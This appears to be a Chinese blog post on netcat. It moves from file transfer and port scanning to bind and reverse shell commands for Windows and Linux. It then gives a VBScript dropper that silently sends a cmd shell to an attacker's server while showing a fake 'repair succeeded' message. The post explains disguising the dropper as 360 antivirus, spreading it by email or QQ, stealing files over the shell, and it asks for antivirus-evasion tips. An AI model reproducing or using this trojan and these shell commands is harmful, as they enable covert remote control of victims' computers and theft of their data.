标签：利用 公网 qq截图 路径 文件路径 时间 信息 参数 邮件
-l 监听 -p 端口
例如：建立聊天通信功能
PC1：nc -l -p 4444 监听444端口 创建服务端
PC2：nc 172.16.20.2 4444 创建客户端
实现客户端控制服务端cmd
使用场景
文件传输使用方法
实现客户端向服务端传输文件
-nc -l -p 4444 > outfile（文件名）
把监听4444端口的信息输出到outfile文件
-nc 172.16.1.1 4444 <infile(文件路径)
把infile文件发送到对应ip的端口
实现服务端向客户端传输文件
-nc -l -p 4444 <infile
-nc 172.16.1.1 4444 >outfile
注意：如果网络延迟大，客户端没有联机成功会造成假死，为避免这种情况，
-nc -w3 172.16.1.1 4444 设置限制时间3s
所有端口扫描：-nc -v -n -z -w1 172.16.1.1 1-65535
-nc -n -v -w1 172.16.1.1 1-1000
windows建立后门
监听型后门：
-nc -l -p 4444 -e cmd.exe 客户端控制服务端
连接型后门：
-nc 172.16.1.1 4444 -e cmd.exe 服务端控制客户端
linux建立后门
监听型后门：
-nc -l -p 4444 -e /bin/bash
连接型后门：
-nc 172.16.1.1 4444 -e /bin/bash
都知道nc有很多功能，其中最好玩的就是建立后门和文件传输。但是主机都有防火墙，未知的端口不得访问，所以我们就要让目标访问自己来绕过其防火墙，也就是自己做监听，目标做连接并返回cmd或者bash。
坑1：自己主机防火墙要开启对应端口，可局域网也可公网，公网远程攻击要自己搭一个服务器
坑2：目标主机可能没有nc，所以要在同目录加上nc程序（很小很小，所以为瑞士军刀）
我用的是某云服务器，开放某某端口，
Set ws=CreateObject("Wscript.Shell")
ws.run "cmd /k cd ./bin&& .\nc.exe -t -d -e cmd.exe x.x.x.x 3333 ",vbhide
WScript.Echo("Program repair succeeded! ")
wscript.sleep 1500
主要功能cmd /k cd ./bin&& .\nc.exe -t -d -e cmd.exe x.x.x.x 3333
打开cmd并打开同目录下的bin文件夹，并且在此目录下执行\nc.exe -t -d -e cmd.exe x.x.x.x 3333 命令，就是连接x.x.x.x 3333 端口
剩下两行都是用来伪装的，其他手段自行实施
结果
我用的是vbs to exe
可以上网搜.ico程序图标来伪装
结果图：
我伪装成了360
接下来就是好玩得了
把我文件通过邮件、qq等途径发送
服务器安全组开启3333端口
服务器开始监听端口
目标点击后
服务端会看到已经拿到目标主机的cmd
服务器ssh在复制会话（xshell），端口对应的也要多开一个，就叫服务器2
服务器2监听传输文件到outfile
服务器1也就是那开始拿到目标shell的
再回到服务器2就可以当前目录下有outfile文件，传输成功
反正拿了shell，你想干嘛就干嘛，本过程只用了nc，也可以结合其他工具远程控制，自己想象，不过！！！重点来了，还有一个问题就是exe程序免杀！我还在学习，还请各路神仙指教。
以上只供学习思路参考，请勿非法利用，网络安全法在心中。
标签：利用 公网 qq截图 路径 文件路径 时间 信息 参数 邮件
原文地址：https://www.cnblogs.com/rower/p/12576374.html
